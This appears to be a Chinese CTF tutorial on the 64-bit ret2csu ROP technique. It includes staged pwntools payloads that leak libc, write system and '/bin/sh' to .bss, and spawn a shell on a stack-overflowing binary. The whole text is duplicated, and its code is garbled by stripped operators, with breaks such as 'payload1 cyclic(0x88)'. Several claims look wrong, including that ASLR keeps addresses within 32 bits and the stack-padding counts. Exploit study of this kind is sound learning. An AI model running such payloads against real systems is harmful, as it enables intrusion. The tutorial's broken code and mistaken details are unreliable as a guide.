1. ret2csu攻击技术背景解析在64位Linux系统的二进制漏洞利用中当我们需要调用包含多个参数的函数时传统ROP链构造会面临一个棘手问题难以找到足够多的合适gadget来设置所有必需的寄存器参数。这是因为x86_64架构下前6个参数通过寄存器传递依次为rdi、rsi、rdx、rcx、r8、r9而栈空间仅用于第7个及以后的参数传递。常规ROP攻击中我们通常需要寻找类似pop rdi; ret这样的gadget来设置寄存器值。但当需要同时控制rdi、rsi和rdx三个寄存器时例如调用write函数需要文件描述符、缓冲区和长度三个参数往往难以找到完美的gadget组合。这就是ret2csu技术出现的背景——它通过利用glibc初始化函数__libc_csu_init中的通用gadget解决了多参数函数调用的难题。关键点ret2csu的核心价值在于它提供了标准化的寄存器控制方法特别是在缺乏合适gadget的情况下这个技术几乎成为了64位ROP攻击的瑞士军刀。2. __libc_csu_init函数结构剖析2.1 函数基本布局__libc_csu_init是glibc中的初始化函数用于在程序启动时完成C运行时环境的设置。虽然不同glibc版本的具体实现略有差异但其核心结构保持稳定。通过IDA反编译可以看到这个函数通常包含两段关键代码; 第一段gadget1 mov rdx, r15 mov rsi, r14 mov edi, r13d call qword ptr [r12rbx*8] ; 第二段gadget2 add rbx, 1 cmp rbx, rbp jnz short loc_xxxx这两段代码为我们提供了完美的寄存器控制能力第一段允许我们通过r15、r14、r13控制rdx、rsi和edirdi的低32位第二段则提供了循环控制逻辑通过合理设置rbx和rbp可以控制程序流2.2 寄存器控制原理在实际利用中我们需要构造特定的栈布局来利用这些gadget。以下是关键寄存器的控制方式rdx控制通过r15寄存器传递因为mov rdx, r15指令rsi控制通过r14寄存器传递因为mov rsi, r14指令edi/rdi控制通过r13d寄存器传递注意这是32位操作但通常足够函数调用控制通过[r12rbx*8]间接调用需要确保rbx0且r12指向目标函数地址经验之谈虽然edi只是rdi的低32位但在大多数情况下这已经足够因为地址空间布局随机化(ASLR)通常不会使地址超过32位范围。只有在极端情况下才需要考虑完整的64位控制。3. HappyNewYearCTF_8题目实战分析3.1 题目基本情况还原根据题目名称HappyNewYearCTF_8_ret2csu和典型CTF出题模式我们可以还原出题目的大致特征这是一个64位ELF可执行文件程序中存在明显的栈溢出漏洞如不安全的read调用保护机制方面很可能开启了NX栈不可执行可能开启部分RELRO可能没有开启PIE地址随机化提供的函数有限可能只有write和read等基本函数3.2 利用思路构建典型的ret2csu攻击通常分为三个阶段信息泄露阶段利用write函数泄露libc地址构造ROP链调用write(1, write_got, 8)接收泄露的地址并计算libc基址内存写入阶段利用read函数写入必要数据计算system和/bin/sh的地址将system地址写入.bss段将/bin/sh\x00字符串写入.bss8最终执行阶段调用system(/bin/sh)从.bss段加载system地址将.bss8作为参数传递3.3 关键payload构造以下是各阶段payload的构造要点阶段一泄露write地址payload1 cyclic(0x88) # 填充至返回地址 payload1 p64(gadget1) # 第一段csu gadget payload1 p64(0) p64(1) # rbx0, rbp1 payload1 p64(write_got) # r12 - writegot payload1 p64(1) p64(write_got) p64(8) # r131(fd), r14write_got(buf), r158(len) payload1 p64(gadget2) # 第二段csu gadget payload1 cyclic(0x38) # 填充 payload1 p64(main_addr) # 返回地址阶段二写入system和/bin/shpayload2 cyclic(0x88) payload2 p64(gadget1) payload2 p64(0) p64(1) payload2 p64(read_got) # r12 - readgot payload2 p64(0) p64(bss_addr) p64(16) # r130(fd), r14bss_addr(buf), r1516(len) payload2 p64(gadget2) payload2 cyclic(0x38) payload2 p64(main_addr)阶段三执行system(/bin/sh)payload3 cyclic(0x88) payload3 p64(gadget1) payload3 p64(0) p64(1) payload3 p64(bss_addr) # r12 - system_addr payload3 p64(bss_addr8) p64(0) p64(0) # r13bss_addr8(/bin/sh), r14/r15无关 payload3 p64(gadget2) payload3 \x00*0x38 payload3 p64(main_addr)4. 实战中的陷阱与解决方案4.1 常见问题排查在实际操作中ret2csu技术有几个容易出错的点rbx和rbp的设置必须保证rbx0和rbp1否则会影响call指令和循环控制错误设置会导致程序流失控栈平衡问题gadget1使用后会pop 7个值到寄存器gadget2使用后会pop 3个值必须精确计算填充量如例子中的0x38间接调用问题call [r12rbx*8]实际上是取r12地址处的值作为目标因此需要先在目标地址写入真实函数指针4.2 调试技巧使用pwntools的debug模式context.log_level debug p gdb.debug(./binary, gdbscript b *0x400606 c )检查寄存器状态 在关键gadget处设置断点检查寄存器值是否符合预期栈布局验证 使用cyclic模式生成测试数据通过崩溃地址确认偏移量4.3 性能优化建议减少交互次数合并payload发送使用send/recv替代sendline/recvline地址复用重复利用已泄露的地址缓存计算结果减少重复运算错误处理添加超时机制实现自动化重试逻辑5. 技术延伸与变种5.1 不同环境下的适配glibc版本差异较新版本可能有细微指令变化需要重新分析gadget偏移保护机制绕过结合ret2dlresolve绕过ASLR使用stack pivot应对栈空间不足其他架构适配ARM64下的类似技术MIPS架构的ROP特点5.2 防御措施与对抗编译器防护-fno-plt和-fno-pic选项的影响控制流完整性(CFI)技术运行时检测ROP检测机制异常行为监控二进制加固符号表剥离的影响函数随机化处理在实际CTF比赛中ret2csu技术因其可靠性和通用性成为了64位ROP攻击的标准技术之一。掌握这一技术不仅能够解决特定题目更能深入理解Linux系统下的函数调用机制和漏洞利用原理。建议读者通过修改示例代码中的参数尝试不同的寄存器组合和函数调用方式以加深对这一技术的理解。 
长河君 · 2026/10/30 3:19:15 · 阅读 1.2k 64位Linux下ret2csu攻击技术详解与实战
1. ret2csu攻击技术背景解析在64位Linux系统的二进制漏洞利用中当我们需要调用包含多个参数的函数时传统ROP链构造会面临一个棘手问题难以找到足够多的合适gadget来设置所有必需的寄存器参数。这是因为x86_64架构下前6个参数通过寄存器传递依次为rdi、rsi、rdx、rcx、r8、r9而栈空间仅用于第7个及以后的参数传递。常规ROP攻击中我们通常需要寻找类似pop rdi; ret这样的gadget来设置寄存器值。但当需要同时控制rdi、rsi和rdx三个寄存器时例如调用write函数需要文件描述符、缓冲区和长度三个参数往往难以找到完美的gadget组合。这就是ret2csu技术出现的背景——它通过利用glibc初始化函数__libc_csu_init中的通用gadget解决了多参数函数调用的难题。关键点ret2csu的核心价值在于它提供了标准化的寄存器控制方法特别是在缺乏合适gadget的情况下这个技术几乎成为了64位ROP攻击的瑞士军刀。2. __libc_csu_init函数结构剖析2.1 函数基本布局__libc_csu_init是glibc中的初始化函数用于在程序启动时完成C运行时环境的设置。虽然不同glibc版本的具体实现略有差异但其核心结构保持稳定。通过IDA反编译可以看到这个函数通常包含两段关键代码; 第一段gadget1 mov rdx, r15 mov rsi, r14 mov edi, r13d call qword ptr [r12rbx*8] ; 第二段gadget2 add rbx, 1 cmp rbx, rbp jnz short loc_xxxx这两段代码为我们提供了完美的寄存器控制能力第一段允许我们通过r15、r14、r13控制rdx、rsi和edirdi的低32位第二段则提供了循环控制逻辑通过合理设置rbx和rbp可以控制程序流2.2 寄存器控制原理在实际利用中我们需要构造特定的栈布局来利用这些gadget。以下是关键寄存器的控制方式rdx控制通过r15寄存器传递因为mov rdx, r15指令rsi控制通过r14寄存器传递因为mov rsi, r14指令edi/rdi控制通过r13d寄存器传递注意这是32位操作但通常足够函数调用控制通过[r12rbx*8]间接调用需要确保rbx0且r12指向目标函数地址经验之谈虽然edi只是rdi的低32位但在大多数情况下这已经足够因为地址空间布局随机化(ASLR)通常不会使地址超过32位范围。只有在极端情况下才需要考虑完整的64位控制。3. HappyNewYearCTF_8题目实战分析3.1 题目基本情况还原根据题目名称HappyNewYearCTF_8_ret2csu和典型CTF出题模式我们可以还原出题目的大致特征这是一个64位ELF可执行文件程序中存在明显的栈溢出漏洞如不安全的read调用保护机制方面很可能开启了NX栈不可执行可能开启部分RELRO可能没有开启PIE地址随机化提供的函数有限可能只有write和read等基本函数3.2 利用思路构建典型的ret2csu攻击通常分为三个阶段信息泄露阶段利用write函数泄露libc地址构造ROP链调用write(1, write_got, 8)接收泄露的地址并计算libc基址内存写入阶段利用read函数写入必要数据计算system和/bin/sh的地址将system地址写入.bss段将/bin/sh\x00字符串写入.bss8最终执行阶段调用system(/bin/sh)从.bss段加载system地址将.bss8作为参数传递3.3 关键payload构造以下是各阶段payload的构造要点阶段一泄露write地址payload1 cyclic(0x88) # 填充至返回地址 payload1 p64(gadget1) # 第一段csu gadget payload1 p64(0) p64(1) # rbx0, rbp1 payload1 p64(write_got) # r12 - writegot payload1 p64(1) p64(write_got) p64(8) # r131(fd), r14write_got(buf), r158(len) payload1 p64(gadget2) # 第二段csu gadget payload1 cyclic(0x38) # 填充 payload1 p64(main_addr) # 返回地址阶段二写入system和/bin/shpayload2 cyclic(0x88) payload2 p64(gadget1) payload2 p64(0) p64(1) payload2 p64(read_got) # r12 - readgot payload2 p64(0) p64(bss_addr) p64(16) # r130(fd), r14bss_addr(buf), r1516(len) payload2 p64(gadget2) payload2 cyclic(0x38) payload2 p64(main_addr)阶段三执行system(/bin/sh)payload3 cyclic(0x88) payload3 p64(gadget1) payload3 p64(0) p64(1) payload3 p64(bss_addr) # r12 - system_addr payload3 p64(bss_addr8) p64(0) p64(0) # r13bss_addr8(/bin/sh), r14/r15无关 payload3 p64(gadget2) payload3 \x00*0x38 payload3 p64(main_addr)4. 实战中的陷阱与解决方案4.1 常见问题排查在实际操作中ret2csu技术有几个容易出错的点rbx和rbp的设置必须保证rbx0和rbp1否则会影响call指令和循环控制错误设置会导致程序流失控栈平衡问题gadget1使用后会pop 7个值到寄存器gadget2使用后会pop 3个值必须精确计算填充量如例子中的0x38间接调用问题call [r12rbx*8]实际上是取r12地址处的值作为目标因此需要先在目标地址写入真实函数指针4.2 调试技巧使用pwntools的debug模式context.log_level debug p gdb.debug(./binary, gdbscript b *0x400606 c )检查寄存器状态 在关键gadget处设置断点检查寄存器值是否符合预期栈布局验证 使用cyclic模式生成测试数据通过崩溃地址确认偏移量4.3 性能优化建议减少交互次数合并payload发送使用send/recv替代sendline/recvline地址复用重复利用已泄露的地址缓存计算结果减少重复运算错误处理添加超时机制实现自动化重试逻辑5. 技术延伸与变种5.1 不同环境下的适配glibc版本差异较新版本可能有细微指令变化需要重新分析gadget偏移保护机制绕过结合ret2dlresolve绕过ASLR使用stack pivot应对栈空间不足其他架构适配ARM64下的类似技术MIPS架构的ROP特点5.2 防御措施与对抗编译器防护-fno-plt和-fno-pic选项的影响控制流完整性(CFI)技术运行时检测ROP检测机制异常行为监控二进制加固符号表剥离的影响函数随机化处理在实际CTF比赛中ret2csu技术因其可靠性和通用性成为了64位ROP攻击的标准技术之一。掌握这一技术不仅能够解决特定题目更能深入理解Linux系统下的函数调用机制和漏洞利用原理。建议读者通过修改示例代码中的参数尝试不同的寄存器组合和函数调用方式以加深对这一技术的理解。